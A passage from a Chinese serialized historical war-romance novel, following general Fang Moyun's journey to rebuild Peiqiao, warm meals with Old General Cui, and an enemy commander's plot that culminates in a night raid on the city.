茉云随即笑着说道：“告诉我二哥，没事别总窝在家里看书，去外面找个媳妇；再告诉腾腾，多在家里多看点书，别总往外到处乱跑。”
若辰听后笑了：“好，我记下了。开春时，你怕是没时间去你大哥处探监了，有什么要交代的吗？”
茉云闻言沉默了一瞬，她抬眼望向若辰，嘴角扬起一抹无奈的笑意：“关大人，你这拖住人的本事当真不如你诗文的本事……”
若辰叹了一口气看着她，目光里藏着复杂的情绪，最终只是轻声说道：“茉云，此去裴桥，你要保重自己。”
茉云点了点头，眉目间的洒脱与刚毅依旧分明。她飞身上马准备带队离营。寒风卷起她的披风和长发，烈马在她身下轻轻扬蹄，似在预示着她的决绝与果断的离去……
就在此时，远处一阵急促的马蹄声传来。随即，威行目光一亮，大喊道：“是大将军回营了！”
正啸和沧海从边关探查回来，正策马奔向营地。正啸远远地看就见了茉云，目光一瞬间被锁住了，她就准备出发了。
营地中的所有人都下意识地看向茉云，似乎都觉得她会停下，会下马，会和正啸道别。然而，茉云却没有任何动作，只是抬起手，朝迎面而来拉住马缰绳的正啸，抱拳行了一礼，带着一丝冷淡的疏离。
说完，她毫不犹豫地领着随行的将士扬鞭而去，激起一阵尘土，好似她毫无留恋，没有任何牵挂。
然而，就在她经过正啸身旁的一瞬间，她握紧了手中的缰绳，关节微微泛白，像是在用尽全力在压抑自己的情绪。她抬目望向正啸，目光深深，与正啸的眼神瞬间相触。
那一刻，四目相对，好似有千言万语涌上心头，却都化作了无声的凝视。
然而，纵使有再多未尽的言语，这一眼终究只是一瞬。下一刻，便是擦身而过，策马离去成远影，两人连头也没有再回。
与此同时，远在峑戎大营，幽戎正在一片空旷的练武场上挥舞长刀，刀光闪动，隐隐带着撕裂空气的呼啸声。
突然，一阵清脆的声音打破了练武场的寂静，一只信鸽扑棱着翅膀，径直飞入了峑戎的主营。幽戎的副将集益将军取了信，顿时神情一变，这并不是他们暗营探子的密信！
集益飞奔而去，疾步跑向练武场，幽戎没有立刻回应，直到最后一招落下，他才缓缓收刀而立，他素来性子随意，就是大王的王令，他也从不急着接令。
集益则忧心忡忡地将信递上，幽戎不紧不慢接过后，随意地扫了一眼，可就在目光触及信之时，愣了半刻。
他抬手扬开了信，仔细看了一眼内容，那波澜不惊的面容上，瞬间额间的青筋一条条地显现……
良久后，他嘴角勾起一丝阴鸷瘆人的冷笑，回头望向裴桥的方向，好似远影浮现眼前，喃喃道：“好得很！”
246.空折
峑戎大营中寒风如刀，好似可撕裂着阴沉的苍野。
幽戎站在练武场中央，手中攥着那封信，寒戾之气透出眼底，那份隐约地杀意，让周遭之人皆噤声不言，就连集益也忍不住心头一颤……
信鸽刚飞入大营时，集益取信之时便瞧见信笺上写着“幽戎亲启”四个字，那字迹便已经让他心生迟疑，但他却一时说不上来。
他轻轻踮脚望向幽戎展开信，凑近之时，目光扫过信中的那那苍劲有力的两行字迹，顿时整个人如遭雷击，瞬间愣住。
信上那两句刺眼的文字，如刀子一般刻进他的眼中——命里有时终须有，命里无时莫强求。
那如蛟龙般苍劲遒劲的笔迹，集益脑中瞬间闪过一个让他都觉得震慑得名字——卢正啸。他顿时心中一凉，脸色顿时变得煞白。
就在这一瞬，那封信被幽戎死死地攥在手中，指尖用力到几乎将信纸撕裂。
幽戎转身往营帐走去，集益低头跟在幽戎身后，可他的心中却掀起了惊涛骇浪，他步履沉重，满是懊恼，恨自己为何不提前将信打开看一眼！
集益深吸一口气看向自己主子那深沉而狠绝的背影，自己主子自小当他是好友，与其真心相交，谁知主子一生求而不得，可卢正啸，亲人，朋友、兄弟、主君的信任，什么都有，自己主子却一再经受这人世蹉跎。就连心上人……
集益不禁握紧了双拳，那卢正啸尽然如此恶毒无耻，这短短十四字透出的挖苦和讽刺，几近可以摧毁自己主子的理智。
营帐之中，幽戎一语不发，他将信纸丢在桌案上，目光如同凝聚了寒冰一般。黄昏的余光从帐篷的缝隙间透进来，将营帐里映得昏暗而压抑，他却没命人点灯，整个营的帐沉默和黑寂简直让人窒息。
集益站在帐外冷风吹得他身子发颤，他却不敢冒然进帐。就在此时，一名探子匆匆奔来，在帐外跪下，还没有等集益拦住，他便声音压低却急切报道：“大帅！刚收到敌方情报，方茉云与崔远已离开南营，正往裴桥方向去！”
帐中的幽戎静了一瞬，随即一声低哑的嗓音传来：“进来。”
探子战战兢兢地走入营帐汇报，幽戎并未看他，只是抬了抬手，示意点灯，集益便马上上前点亮了油灯。
灯光被点燃的一瞬间，营帐内的昏暗终于被驱散，光亮映照在幽戎那冷厉的面容上,随着探子汇报探听来的消息，他嘴角却缓缓勾起了一抹阴森的笑容。
听完之后，幽戎将那封信重新展开，目光扫过那刺目的字句，眼神中的寒意愈发浓烈：“终须有，莫强求……”
他冷冷地念出了信中的字，忽然，他眼中闪过一丝疯狂，仰头大笑起来：“好！好一个终须有，莫强求！”
集益深吸一口气，连他都分不清，幽戎的语气中透出的是一股森然的杀意，还是阴鸷的笑意，又像是为某种疯狂的计划而感到兴奋。如同一头蛰伏的猛兽，暗中积蓄多时怨愤，顷刻间被激得要冲栏而出，只待猎杀天地间的一击。
而此时夜晚的南境，寒风刺骨群山之间只有零星的星光点缀在漆黑的山野中。茉云、崔老将军和老马策马行至山下，找到了一家破落的小店落脚。
小店低矮简陋，木门嘎吱作响，店内光线昏黄，墙上满是岁月留下的斑驳痕迹。几人一进门，脸上皆掩不住一路的辛劳与饥饿，然而，小店贫寒，这么晚了也只能拿出几块硬邦邦的干粮。
茉云看着深吸了一口气，本就心情怅然，更提不起任何胃口。
崔老将军看了看桌上的干粮，又看了看沉默的茉云，站起身来笑着说道：“这饭不吃，明日怎会有力气赶路？你们等着，我去看看厨房里有什么。”
还未等茉云回应，崔老将军已大步走向店家厨房，茉云心中却还一直盘旋着这几日之事，不知为何总觉得哪儿不对劲。
不多时，便隐隐的一股香气散了出来，崔老将军便端着一大盆热气腾腾的焖面回来了，面上的蒜香、酱香混杂着腾腾热气，瞬间驱散了屋内的寒意。
茉云不由自主地转过头来，目光被那一大盆焖面牢牢吸引。她怔了一瞬，像是没反应过来……
崔老将军将焖面放在桌上，又拿过空碗，细心地为茉云和老马各盛了大大的一碗：“这山野小店没备什么好东西，只能将这店里有的一边和面煮了，煮成了焖面。茉云，老马，来趁热吃吧！”
茉云接过碗，拿起筷子拿起筷子就吃了起来，一入口那久违的香浓滋味瞬间在口中绽放，好似瞬间抵消了一路的疲惫与郁结。她眼睛顿时一亮，随后喜笑颜开，埋头大口吃着，一副完全投入的模样。
“味道如何？”崔老将军笑着看向她。
茉云嘴里含着面，眼神中透着感激和满足，忍不住连连点头。
崔老将军见状，笑得越发开怀，说道：“老夫十几岁便入了军，常年行军在外，风餐露宿，这口吃的咱可得照顾好自己。”
茉云顿时像小鸡啄米一样，边吃边咬着面用力点头，她的动作把崔老将军逗得大笑起来。
“快吃吧，管够！”崔老将军笑着又停顿了一下，随即语气一转，淡淡说道：“我可是答应了大将军，要好好照顾你的。”
这话一出，茉云正吃面的筷子忽然顿了一下，眼中似有一丝异样的情绪掠过，然而很快眼神转瞬即逝，像什么都没听见一样，继续一脸满足的埋头吃面。
崔老将军嘴角含着一丝深意的笑，没有多说，只是摇了摇头。他转过头，夹了一筷子菜往老马碗里。
老马马上双手捧着碗，满脸恭敬地说道：“谢谢崔老将军。”
崔老将军却大手一挥，爽朗地笑道：“咱三个以后别将军长将军短的啊，就叫我老崔，我叫你老马，叫她茉云，咱都出门在外，相互照应。”
老马愣了一下，随后憨厚一笑，连连点头：“好。”
崔老将军指着埋头吃面的茉云，见她吃得一脸满足，不禁感慨地笑着跟老马说道：“这丫头不挑，容易养活。”
老马闻言却笑得不行，连连摇头说道：“崔将军，那您还不够了解她，她哪是容易养活之人？别人属龙属兔，她属蝗虫的，还是一群蝗虫那种！”
两人顿时笑成一团，茉云却丝毫不以为意，只顾着大口吃面，嘴角沾满酱汁也毫不在乎，吃得满脸满足。
这一碗焖面，不仅填饱了他们的肚子，更消减这一路的寒冷与辛苦，让他们交情也拉进了一步，多了一分暖意。
天刚蒙蒙亮，寒霜尚未散去，茉云、崔老将军和老马便早早整装出发，继续向裴桥进发。一路上，他们时不时聊上几句，崔老将军性子开朗且随和，言语间都透着轻松，让旅途不再显得沉闷。
为了赶路，茉云带路绕上了蜿蜒的山道，沿途树影摇曳，山风猎猎。走到一半，茉云忽然发现崔老将军骑在马上不时地活动肩膀。她才想起——崔老将军肩上有旧伤，一定是被山中寒湿给激发了。
难怪他进山之后一直微微蹙眉，却仍然没有抱怨半句，茉云没问也没解释，便调转方向便往大路而去。
傍晚，三人早早找到一家小店休息，晚膳之时，茉云望着崔老将军，笑着说道：“崔伯，您真是个老好人，凡事都顺着别人，委屈自己。我总算知晓，您为何能跟那个咋咋呼呼的老头相处得那么好了。”
崔老将军听得一愣，奇怪地问道：“咋咋呼呼的老头？”
“魏副帅啊！”茉云将酒一饮而尽解释道，崔老将军愣了一下，随即忍不住笑出声来。
茉云嘴角一扬，一副调侃的神色：“崔伯，您看哈，听闻老卢帅是个惜字如金、严厉少言之人，可他儿子和干儿子，一个罗里吧嗦，一个咋咋呼呼，这传承，真不知是咋回事！”
此话一出，崔老将军顿时笑得前俯后仰。
老马则笑着无奈地捂住额头，指着茉云数落道：“你可别当人面这么说啊！”
茉云一脸无所谓地拿起酒壶给两人倒酒。崔老将军笑着端起酒杯，轻轻抿了一
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口：“你们年轻人啊，总觉得老魏那性子难相处。其实他 没有坏心，反而有这世上难能可贵的优点。”
茉云被逗笑了点头附和：“对，认死理嘛！”
崔老将军放下酒杯，摇了摇头，语气变得深沉：“不止，他这人啊，痴情。”
这话一出，茉云和老马都愣了一下，顿时停下了手中的筷子和酒杯，满脸八卦地看向崔老将军。全军都知道魏副帅一生未婚……
崔老将军笑着眯起眼，似乎沉浸到某段久远的记忆中。
“老魏啊，出生贫寒，但他勇猛赤诚，年纪轻轻就被老卢帅赏识。有一次，回京，他去程将军家做客，老程他妹妹开朗又可人，不知为何，一下便相中了他这块木头。可他呢，从不置可否。”
他说着端起酒杯，要再抿一口酒，茉云顷刻就将他酒杯夺了过来说道：“您别说一半啊，搞得我这饭都吃不下去了。”
崔老将军也被逗乐了，继续说道：“后来，卢老太君劈头盖脸将他骂一顿，说人家程家妹子多好，瞎了他的狗眼。老魏跟他干娘才吐了真口，他说自己出生贫寒，不过是个校尉，怎么配得上世世代代都是将军的程家出生之女儿？老太君就说，儿啊，你傻啊，有便宜不占，人想占还没有呢！”
茉云顿时笑得前仰后合，指着说道：“你看见没，这就是卢老太君，专门护自家人，坑别人没商量！”
“老魏才说，他想励精图治起码做个参将，再求娶程家千金。自此那真是省吃俭用，将所有饷银都存了起来,抠门得厉害，兄弟几个出去喝酒，他从不付酒钱。可我们谁没说过他，知道他就想着等娶程家姑娘时，能给她置办丰厚的聘礼，让她能风光大嫁。”崔老将军说到这儿又顿了顿，抿了一口酒，目光略带怅然。
茉云听得津津有味，眯着眼看向崔老将军，催促道：“崔伯，你继续说啊，您这姓崔也是有原因的！”
崔老将军则叹了口气，声音低沉了几分：“可就在他接到晋升参将的圣旨时，同时接到了消息，程家小女儿被峑戎的杀手谋害了。当 时，老魏接圣旨的手都松了，圣旨直接掉在地上，滚了一地尘埃……”
屋内顿时安静了下来。茉云和老马脸上的笑容瞬间散去。三人沉默着，灯火摇曳，映得众人的表情都有些复杂。
良久，崔老将军叹了口气，抬起酒杯一饮而尽：“他这辈子就这么……错过了，他再没提婚嫁，不论老太君如何骂他，他一生未娶。后来老程又如此悲壮的走了，所以你说他认死理也好，说他痴情重义也罢……这就是老魏。”
茉云低头看着桌上的酒杯，却没再说什么。老马也只是叹了一口气，默默端起酒杯，缓缓喝下。
“哎，都是过去的往事，不该跟年轻人说！”崔老将军缓和道。
“下次碰见魏副帅，对他好点！”茉云轻轻感叹道。
崔老将军意味深长的笑着抿着酒说道：“不用，你若能对啸儿好点，我们几个老叔伯就都很感谢你了！”
茉云无语的白了一眼，自顾自的喝酒没有搭腔，老马亦低头笑了。
“我喝多了点啊，但是年轻人，花开须折，月圆就赏，不要妄自菲薄，也莫太过骄傲！”崔老将军笑着喝着酒说，“但是我知道，你肯定不是妄自菲薄之人。”
老马举起酒杯和崔老将军碰杯说道:“诶，您这说对了！她这人绝不可能菲薄自己！”
三人好似刻意将这伤感的一页翻过，依然把酒言欢。
夜里茉云回到自己房间，推开窗户任寒风凛冽，自己这是怎么了，这半生看过那么多的遗憾和诡诈，此刻怎就忽然有一丝难以释怀的情绪，莫待无花空折枝？
此刻，正啸在营帐中沉默的看着军务公文，茉云离营之后，正啸未曾开口说过一句话……他看向茉云在营中坐的地方，不知为何，他心中的不安如波涛翻涌，自己怎么就没有拦住她，在她离开之时跟她说清……
而，就在此时，幽戎已然下令整军出发……
247.故人
裴桥沐浴在冬日的晨光中，街道两旁的百姓夹道欢迎茉云回来，锣鼓声与呼喊声此起彼伏，欢声笑语中夹杂着崇敬的目光。
茉云策马走在街道中央去往刺史府，一身笔挺的三品官服在晨光下熠熠生辉，眉宇间尽显从容和英气。裴桥的刺史苏云青，听闻茉云回到裴桥，已经早早在刺史府外。
鹿里按照军令，在裴桥短暂交接边关指挥权，便快马回南营复命了。茉云与崔老将军并肩而行前往刺史府。
他们到达刺史府门前，便见到苏云青站在刺史府门前，儒雅而立，清俊的面容和从容的气质让人如沐春风。他的目光在看到茉云时微微一顿，随后嘴角扬起笑意，恭敬地抱拳行礼：“方将军，一路辛劳。”
茉云跳下马，目光平静地看着他，微微颔首，语气淡然：“苏大人客气了。这位是崔将军，裴桥关主将。”
崔老将军和老马一见到苏云青，两人忍不住互相看了一眼，随后都不自觉地笑了。那笑意虽未言明，但眼中流露的意味分明是在打趣茉云。
苏云青则依照礼制上前向崔老将军行礼，三人被引入刺史府，茶香弥漫，案几上都是茉云喜好的精致小食，气氛温馨而安静。
坐定后，茉云便直入正题，开始与苏云青讨论关于裴桥关重建的具体事宜。她神色认真，将所有需求一一列明，从物资供应到人力分配，从修建工事到防线布置，条理清晰，丝毫不留余地。
说完，她自己都愣了半刻，原来这些日子卢正啸教了自己这么多……
苏云青全程听得极为专注，不时点头应答，语气里满是诚恳：“你放心，裴桥全城上下，定然倾尽全力支持关隘重建。需要什么，我都竭尽全力，哪怕挖地三尺亦会办到。。”
茉云闻言忽然轻声笑了，语气半真半玩笑：“苏云青，我还像以前那样老诓骗你吗？”
苏云青随即微微一笑，目光坦然而温和：“若人愿意，那便不叫诓骗吧。”
这一句话说得从容淡然，却隐隐透着某种说不出的情绪。崔老将军在一旁摸了摸胡须，和老马对视了一眼，两人眼中皆露出些许感叹与调侃的意味。
茉云听完苏云青这话，郑重的起身：“行！那便有劳苏刺史了。”
商议完正事后三人起身告辞。走出刺史府门时，正好碰上了苏家老夫人和苏云青的妻子迎面而来。
苏家老夫人一袭庄重的华衣，头发挽得极为精致整齐，眉宇间透着倨傲，在这裴桥城中，他儿子是城中刺史，何人见其不低头。
可就在她看到茉云的一瞬间，目光下意识地扫过她那笔挺的三品官服，她顿时愣住了站在原地，一时竟未能言语。
苏云青的夫人则是一脸温和，目光清亮，端庄大方地上前一步，行了一礼，柔声说道：“见过方将军。”
茉云微微点头，露出一抹温和的笑意：“苏夫人。”
说罢，礼貌地回了一礼便走了，但她并未向甚为长辈苏老夫人行礼，甚至可以说的目光并未在苏家老夫人身上停留片刻，没正眼瞧她一眼。
苏家老夫人站在一旁，眼神复杂，却无法掩饰内心的震动。那个当年自己无论如何不容她嫁入苏家之人……如今却站在她身前，威风凌凌的穿着三品将军服，英姿勃发，气度沉稳，竟让她一时间不知这是梦还是真。苏夫人走到目送茉云离开的苏云青身旁，轻轻提醒道苏老夫人眼中的震惊……
走出刺史府后，崔老将军笑着摸了摸胡须，低声调侃道：“那就是昔日差点成你婆婆之人？”
老马无语的的在茉云耳边嘀咕道：“你这也太不给颜面了！”
茉云压根没好气的白了一眼，曾几何时，自己曾以为待自己有朝一日能凌驾于那个苏老夫人之上，一定要为方家和自己出口恶气，可是这一刻，自己却连瞧都不惜得瞧一眼。
她只是抬头看了看天色，裴桥重建，才是她此行的目的，至于其他的过往恩怨、陈年旧事，她并不想让这些再占据心事，只因最近心不够用了……
而远在千里之外的峑戎大营则是另外一番景象，大军已然在整军，明日一早便会开拔。
深夜集益脱下了盔甲，走进了幽戎的阵营，跪在了幽戎的面前。
幽戎透过隐约的烛光望向他：“想说什么便说吧！”
集益望向幽戎确是欲言又止，他不知道如何能表达出自己的忧虑。
“你知道，无论如何，我都不会杀你，还畏惧什么？”幽戎深沉的说道。
“主子，集益不怕死，可集益觉得您不该被卢正啸和方茉云蛊惑！”集益抬目眼中满是忧愁的说道。
“方茉云何时蛊惑过我？”幽戎抬目望向集益说道。
“主子，长公主待您至诚至信，您是峑戎全族的希望和未来，而方茉云那妖女……”
幽戎放下手中的匕首看向集益嘴角微微上扬的说道：“若我没有幽戎这一生的能耐，长公主会钦慕我吗？若我不是有能统领峑戎大军，横扫戈壁之能，我是不是早也被我族人抛弃了。你知道家主，也就是我爹是怎么死的吗？”
集益愣了半刻，吃惊的望向幽戎，不是全族皆知他是英勇战死于沙场吗？
“那便是国师之计，只为让我和卢正啸反目成仇，让我哥在战场上杀了他的随将，卢家定会反杀我全家，这样我便和卢正啸结下血仇。”幽戎嘴角透出了阴鸷却苦涩的笑容，“遥想当年爹娘还为家中小儿拔得少年勇士头筹而如此自豪，谁知便是因此将他们送进了鬼门关。”
此时的集益已经震惊得说不话来，眼里只有对自己主子的心疼。
“据说我爹娘战死，大王震怒，贬黜了国师，可不久便赦免了他，只因当日峑戎少不了他，亦如今日峑戎少不了我一样！”幽戎站起身看向漆黑的苍穹，冷笑着说道，“国师最后是什么下场，你亲眼所见，你以为我的下场会比他好吗？”
集益深吸一口气看向幽戎，他此刻思绪已经乱成一团，他亦不知道该说什么。
“不论族人如何待我，可族人赐我血脉，我仍然愿意穷尽此生为族人搏一个未来，可难道这就是我这一生全部之意义吗？我就不能得到一样我想要的吗？”幽戎站在帐中，侧头凝望着帐外无尽的夜幕，身影在摇曳的烛火下显得格外孤寂。
他的眼神如同深沉的湖水，平静无波，却隐隐透着一种难以言喻的哀痛，源自那被岁月碾碎的旧梦，那心底一道道不可愈合的伤痕……
“可这世上还有人比方茉云伤主子深吗？”集益望向幽戎怅然的说道。
“当日在暗营，我已穷途末路，她本意就是来杀我的，她却在一瞬改变主意，选择救我，你知道为何吗？”
“为何？”
“因为同是坠入深渊苦苦挣扎的灵魂，她不允许跟她一样的恶灵，最后选择放弃，任人羞辱，她救我，只因我是幽戎！”
集益深吸一口气，他自小跟随幽戎，主子会将自己当亲人一般看待，就是因为自己不论荣衰的跟随。幼时幽戎便是全族闻名的少年英雄，被大王赐名幽戎，可那些光鲜亮丽，众人仰望的虚妄，主
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子从不在意。
幽戎抬手，手指轻轻拂过腰间的佩剑，动作缓慢而温和，好似在怀念什么，嘴角轻轻上扬的说道：“那疯丫头救我时，满脸嫌弃，觉得我竟如此无用！”
集益轻轻叹息着看向幽戎，他知道他在如何说，终究都是无用的了，那个看似遥不可及且狠戾罪恶的身影，已成为主子宿命的光芒。
此时帐外夜风凄厉，猎猎作响，忽然传来一声阴森而沙哑的声音：“大帅，我有一计策，想献给大帅。”
幽戎听闻此声，眼底瞬间透出一丝厌恶与恶心之意。他抬目瞥了帐帘，一眼，冷冷地说道：“让他进来。”
帐帘被风掀开，进来之人矮小、精瘦，仿佛一阵风就能将他吹散，他尖嘴猴腮的脸上挂着一抹让人不寒而栗的谄媚笑容。
此人是暗营的一个头领，名为皮勋。而此人有着鲜为人知的背景——他是之前的国师同父异母的私生子，从未得家族承认，却不知为何被国师当年破格收入了暗营。
皮勋站定后马上幽戎拱手行礼，眼神中满是讨好。可幽戎只是冷冷地靠在椅上，静静闭目养神，似乎连看都不看他一眼。
“大帅，您可曾想过，此时大王的命令是不准大军对裴桥轻举妄动。可若您此去裴桥，擒了方将军而归，大王虽不会以违背王令处置您，可却定然不会放过方将军，届时……”
幽戎的眼眸猛地睁开，那寒戾如刀的目光直直刺向皮勋。
皮勋见状，顿时收住了话头，谄媚的笑容一敛，露出一丝谨慎，恭敬地低下头说道：“属下自然不敢置喙大帅的决策。但属下有一计，可一箭双雕，既让大帅出师有名，又能带回这位故人。”
幽戎眼底的寒意如刀锋般犀利，示意对方继续。
皮勋顿时心头一松，谄笑着直起身，双眼中满是兴奋，似乎笃定自己的计策能让幽戎满意。
“大帅，目前开战在即，诸多小国、部落、番邦态度不明，观望者有之，蠢蠢欲动者更有之。最为可恶的是一些如朗川、集梁等小国，与卢家军和他们朝廷关系过从甚密。大帅可还记得，集梁之前正好与我族的游牧人群曾发生过争抢冲突，您若此时要出兵，不妨借此事，以集梁为靶，打掉这出头鸟，既可立威震慑诸国诸盟，又能盟国他们对卢家军的支持。”
幽戎双目微敛，指尖在扶椅上轻轻敲击，未作回应。
皮勋眼底闪过一丝得逞的阴光，继续说道：“更妙的是，集梁就在裴桥不远处。属下愿带一队人马，悄然绕道，入裴桥擒得方将军，再与大军会合。只要方将军一入大帅营帐，那卢家军这些日子在裴桥周边城关布置的兵力再多，也是远水解不了近渴，救不了她！”
他的话音未落，站在一旁的集益忽然冷冷一笑，带着一丝嗤之以鼻的语气说道：“你？去抓方茉云？”
皮勋却不恼，反而露出了一抹阴森而诡异的笑容，狭长的眼睛微微眯起，像一只狡猾的狐狸，说道：“属下自然知道自己的斤两，方将军的战力自是远非我能敌。但——山人自有妙计。”
幽戎冷冷地眯着眼瞧了他一眼，声音冰冷得像覆着一层霜：“说来听听。”
皮勋立刻弓身上前，声音压得极低，透着阴森的诡秘，在幽戎的耳边说道：“此计虽稍显阴险，却足以保大帅无过，并以最小的代价夺回您的这位故人……”
幽戎缓缓睁开眼，冰冷的目光落在皮勋身上，还未言语，那种深寒的气势亦让皮勋不寒而栗。
“好，但她若有一丝闪失，我便将你凌迟！”
248.欢悲
裴桥的冬日虽寒风刺骨，但这些日子，城中却充满了热火朝天的气息。全城军民正齐心协力重建裴桥关卡，街巷之间，工匠忙碌、车马穿梭，连孩童都学着帮忙运送砖瓦。
今日更是热闹，朝廷送来的救济钱粮昨日已顺利抵达，东山奉元帅之令，从南营军饷中节约出了一部分军粮物质也送来增援。
日上之时，苏大人开仓放粮，百姓们蜂拥而至，排成长队，个个喜笑颜开，都感恩着朝廷的恩德，粮仓前传来此起彼伏的“万岁”声，乡民们一袋袋领着粮食，喜滋滋地踏雪归家，准备过个温饱的好年。
茉云站在城楼上眺望，看着这些欢欢喜喜的百姓，长长地舒了一口气。
此时，运送粮草的官员提着箱笼，恭恭敬敬来到茉云暂住的府邸，将巡抚大人夫妇托他们带来的年节物资送来。
老马将一堆东西搬到桌上，一边清点物资，一边感叹地笑着说道：“啧啧啧，你看这满满当当的。”
崔老将军此时已拎起一坛酒，拔开封泥，低头嗅了一口，顿时露出陶醉之色，感慨道：“茉云啊，你跟那关夫人到底是什么交情？这可是好酒啊，光闻着这酒香，老夫的魂都快没了！”
茉云亦闻到了酒香，无语的笑了，这么好的酒他们不孝敬长辈，却送来给自己了。
崔老将军随即拍了拍桌子说道：“今儿早上苏大人还派人送来一个上好的羊腿，这样，咱话不多说，晚上我就把这羊腿炖了，天寒地冻的，累了这么多天，咱吃喝个好的！”
老马乐了随口问道：“崔老将军，咱不留着年夜饭吃吗？”
崔老将军却摆摆手，大笑道：“诶，今朝有酒今朝醉！”
老马笑着回应道：“也是，何况，有茉云在，还愁没好吃的？”
夜幕降临，忙碌了一天的茉云终于监督完工事，揉着肩膀上的伤走进饭堂。刚一进门，一股扑鼻而来的羊肉汤香便迎面袭来。
她深吸一口气，眼中顿时闪过亮光，快步跑到桌旁，满脸期待地伸手说道：“怎么这么香啊？”
老马见状笑着一巴掌拍开茉云的手：“等着，崔老将军还没说开饭呢！”
“开饭开饭！”崔老将军乐呵呵地拿起一只大碗，盛了一碗热气腾腾的羊肉汤递到茉云面前，说道：“这汤啊，老夫可加了当归！”
茉云接过碗，狐疑地盯着汤碗，又抬头看向崔老将军：“当归？这不是药吗？”
崔老将军捋了捋胡子，笑道：“药多难吃啊，当归入汤，既暖身又补益，还好喝，特别适合你这女娃喝！”
茉云舀了一勺汤送入口中，却在入口的瞬间怔住了——鲜美的滋味融入舌尖，羊肉的醇厚香气夹杂着药材的清香，汤汁暖融融地滑过喉咙，瞬间驱散了全身的寒意。
她忍不住放下勺子，端起碗边吹凉边大口喝着，感叹道：“这也太好喝了吧！”
崔老将军见状，满意地摸着胡须说道：“好喝吧？这可是老夫多年的炖汤秘方！你啊，别光顾着喝汤，多吃点羊肉，补补身子！”
茉云喝得眉开眼笑，连连点头，像个孩子一样又期待地伸出碗：“再来一碗！崔老将军，你老婆孩子怎么命这么好！”
老马笑着顺势接过茉云的碗又给茉云乘汤：“崔老将军这厨艺真是绝了！”
“哎，我老婆孩子……没喝过。”崔老将军则意味深长的笑了说道，可是看见茉云和老马看向自己的眼神，他顷刻畅然而笑说道：“老夫本就在边关风餐露宿的吃苦，好不容易回去了，我还伺候他们，还不得他们伺候伺候我啊？”
顿时三人哄堂大笑，饭堂中笑声不断，热气腾腾的汤香伴着欢声笑语驱散了冬夜的寒意，这些日子的相处茉云能感受到，崔老将军刚毅而满是风霜的将军外壳里，有一颗温暖而开朗的心。
不知为何这让她想起了自己的父亲，她虽不大，可是依然记得父亲早晨出门，去衙门执行公务之时的严肃和认真，他从未迟过一刻出门，每日完成公务之时有可能已经是日落西山，可是他回来第一件事便是放下佩刀，爽朗的叫孩儿们的名字，自己小跑得没有哥哥们快，但是爹一定先抱起最小的自己。
她亦想起，每次爹出门公干，总要好几日才回家，回来之时总将自己放在肩上坐着，走去哪儿都带着，还跟自己娘说，出门在外，儿子还好点，最想念的便是自家小女。
崔老将军将上好的一块羊肉舀给了茉云，笑着说道：“来，多吃点。咱活要干好，生活也得好好过，都是来人世走一遭，保家卫国，但过日子咱也不能耽误。”
茉云怔了半刻看向崔老将军你忽然说道：“我……爹……”
崔老将军亦愣松了一刻望向茉云，老马则看向茉云说道：“你这喝了多少了？”
“不是，你这么说让我想起了我爹，我爹也这么说过！”茉云看向崔老将军笑着说道，“他总说当年娶我娘，就是我娘长得漂亮又做得一手好菜，能跟他过好日子，世上再也没得比她好的娘子了！”
崔老将军顿时笑了说道：“你爹说话这么中听，你怎么一点没遗传啊！”
顿时三人又都乐了，茉云笑着亦深吸一口气，是啊，好久都没回忆起这些温情的过往。
崔老将军看向茉云说道：“茉云啊，都是爱好吃喝之人，我老崔与你也算一见如故，要不我收你为义女吧。”
茉云从回忆中抽出了神思看向崔老将军。
“想我老崔啊，也有几个儿子，但是我夫人出自书香门第，我又不在家，他们都习文了，老几个老拿崔家无传人取笑我，我要有你这么个义女，你在营中能以一当十，不，全营的男儿都怕了你，包括卢帅。我看日后谁敢笑我！”
他话音刚落，便和老马两人笑成一团，茉云也乐了。
“然后，我将这一生不外传的厨艺都教给你，如何？”崔老将军眼珠一转，意味深长的喝着酒调侃道，“你日后便可做给我们啸儿吃？”
“哼，义父啊，您老人家传给他吧，他若真习得您这手艺，我倒也可考虑考虑！”茉云举起酒杯笑着说道。
老马顿时接过笑着话骂道：“你也真不怕闪了舌头，我也真是活够了本，什么稀罕事都瞧见了，看见了有人让鲜花长得艳丽点，才配插在她这坨牛粪上！”
三人皆哄堂大笑，饭堂里炭火烧得正旺，热气氤氲，酒香汤暖，其乐融融，欢声笑语久久回荡，驱散了冬日的寒冷，连窗外的风雪似乎都变得柔和了起来。
酒足饭饱之后，崔老将军兴致高昂地一路哼着家乡的小调，回到了房里，拿起笔在等下给家里妻儿写了一封家书，心中还提到今日收了个干女儿，乃巾帼不让须眉之辈，日后让她管教管教孙儿，看能否培养个从军的孙儿，写完崔老将军想着她夫人看信时那恼火的神情不禁乐了。
他顺势拿起他那珍藏的崔氏食谱加了几字，然后得意洋洋的端详着自己撰写的菜谱……
茉云回到了房中，身上不觉之寒冷了，心里亦是暖暖的，她靠着窗望向星空，不禁回忆起小时候家中快过年时的热闹欢腾的情景；又想起师兄过年时，随师傅去大户人家唱戏，然后将人家赏给他的年糕带回来给自己吃；还想起过年时青岚教自
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己剪窗花，数落自己手比脚苯的样子；忽然又想起当年在中州，自己坐在卢正啸门口，要红包不给不走时他的表情，茉云不禁乐了，原来自己的一生亦有这么多美好的回忆……
可就在此时忽然传来一声犀利地惨叫声，撕裂了夜空的宁静，茉云顿时拿起剑便吹灭了灯，然后冲出了房门。
一出院便瞧见崔老将军亦冲出了房间，望向正穿着外衣冲出来还未扣好的老马，急忙问道：“茉云呢！”
“我在此！”茉云已经提剑飞身到他们眼前，起身就要轻功翻墙出院，去查看是什么情况！
“茉云！”崔老将军一声喝止道，茉云怔了半刻望向崔老将军。
崔老将军还未开口说话，城中便传来了更加惊人的嘈杂——好似一群强盗杀手闯入各家各户，烧杀抢掠，哭喊声、惨叫声、怒吼声接连不断，如潮水般涌入。
就在此时，远处传来一声大吼，震彻夜空：“方茉云！你若不出来束手就擒，我便杀尽裴桥满城之人！”
茉云闻言面色一凛，眸中顿时怒火翻腾，毫不犹豫地转身，准备飞身出院。
就在这千钧一发之际，崔老将军神情一凝，趁茉云转身之际，抬掌对着茉云全力一击，茉云猝不及防，被击中后颈瞬间晕倒在地。
老马目瞪口呆地看着这一幕，颤声问道：“崔老将军！您这是……”
崔老将军一脸的镇定自若，沉声道：“老马，你可知道茉云对卢家军意味着什么？她是皇上新封的云麾将军，是大将军身边的左膀右臂，更是卢家军年轻将领中冉冉升起的领袖。大战在即，若她被峑戎杀害或俘虏，这对卢家军军心是致命的打击，对大将军来说更是无法承受的重创。”
